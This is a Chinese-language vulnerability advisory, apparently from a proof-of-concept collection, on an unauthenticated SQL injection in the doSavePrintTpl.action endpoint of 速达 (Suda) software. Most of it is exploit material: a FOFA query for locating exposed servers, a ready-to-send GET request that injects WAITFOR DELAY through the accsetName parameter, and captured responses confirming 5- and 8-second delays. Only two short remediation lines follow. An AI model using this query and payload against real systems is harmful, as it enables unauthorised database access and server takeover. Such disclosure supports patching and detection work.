

# 速达软件 多款产品 doSavePrintTpl.action SQL注入漏洞

## 漏洞描述

由于速达软件 多款产品使用Struts2开发框架组件，存在sql注入漏洞，未经身份验证的远程攻击者可利用此漏洞执行任意系统命令，写入后门文件，获取服务器权限。

## 影响版本

速达软件

## 漏洞状态

| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|------|-------|-------|------|
| 是    | 已公开   | 已公开   | 已知   |

## 风险等级

| 维度    | 评价 |
|-------|----|
| 威胁等级  | 高危 |
| 影响面   | 广  |
| 攻击者价值 | 高  |
| 利用难度  | 低  |

## 漏洞复现

FOFA：body="速达软件技术（广州）有限公司" && body="jslib/extjs2.3/view/PasswordField.js"

POC/EXP：

GET /common/print/print!doSavePrintTpl.action?  
report=1&rptid=1&employId=-1&modId=-1&accsetName=1%27;WAITFOR+DELAY%270:0:5%27--  
HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0  
Accept: application/json, text/javascript, /; q=0.01  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate, br, zstd  
Connection: keep-alive

发送请求 强制 HTTPS ☐ 历史 爆破示例

Request

```
1 GET /common/print/printIdSavePrintTpl.action?report=1&rptid=1&
  employId=-1&modId=-1&accsetName=1%27;WAITFOR+DELAY%270:0:5%27--
  HTTP/1.1
2 Host : 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0)
  Gecko/20100101 Firefox/133.0
4 Accept: application/json, text/javascript, */*; q=0.01
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;
  q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate, br, zstd
7 Connection: keep-alive
```

Responses 256bytes / 5061ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Content-Type: application/json; charset=UTF-8
4 Date: Thu, 06 Mar 2025 12:21:29 GMT
5 Content-Length: 323
6
7 {
8   "accsetName": "1';WAITFOR-DELAY'0:0:5'--",
9   "childArr": null,
10  "currReport": {
11    "a000ldJsonValue": null,
12    "reportname": null,
13    "rptid": 1,
14    "rptname": null,
15    "rpttype": null
16  },
17  "errMsg": "你没有定制打样式权限!",
18  "errNo": -1,
19  "printItems": [],
20  "reportTpl": null,
21  "success": true
22 }
23
```

发送请求 强制 HTTPS ☐ 历史 爆破示例

Request

```
1 GET /common/print/printIdSavePrintTpl.action?report=1&rptid=1&
  employId=-1&modId=-1&accsetName=1%27;WAITFOR+DELAY%270:0:8%27--
  HTTP/1.1
2 Host : 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0)
  Gecko/20100101 Firefox/133.0
4 Accept: application/json, text/javascript, */*; q=0.01
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;
  q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate, br, zstd
7 Connection: keep-alive
```

Responses 256bytes / 8075ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Content-Type: application/json; charset=UTF-8
4 Date: Thu, 06 Mar 2025 12:27:07 GMT
5 Content-Length: 323
6
7 {
8   "accsetName": "1';WAITFOR-DELAY'0:0:8'--",
9   "childArr": null,
10  "currReport": {
11    "a000ldJsonValue": null,
12    "reportname": null,
13    "rptid": 1,
14    "rptname": null,
15    "rpttype": null
16  },
17  "errMsg": "你没有定制打样式权限!",
18  "errNo": -1,
19  "printItems": [],
20  "reportTpl": null,
21  "success": true
22 }
23
```

## 漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本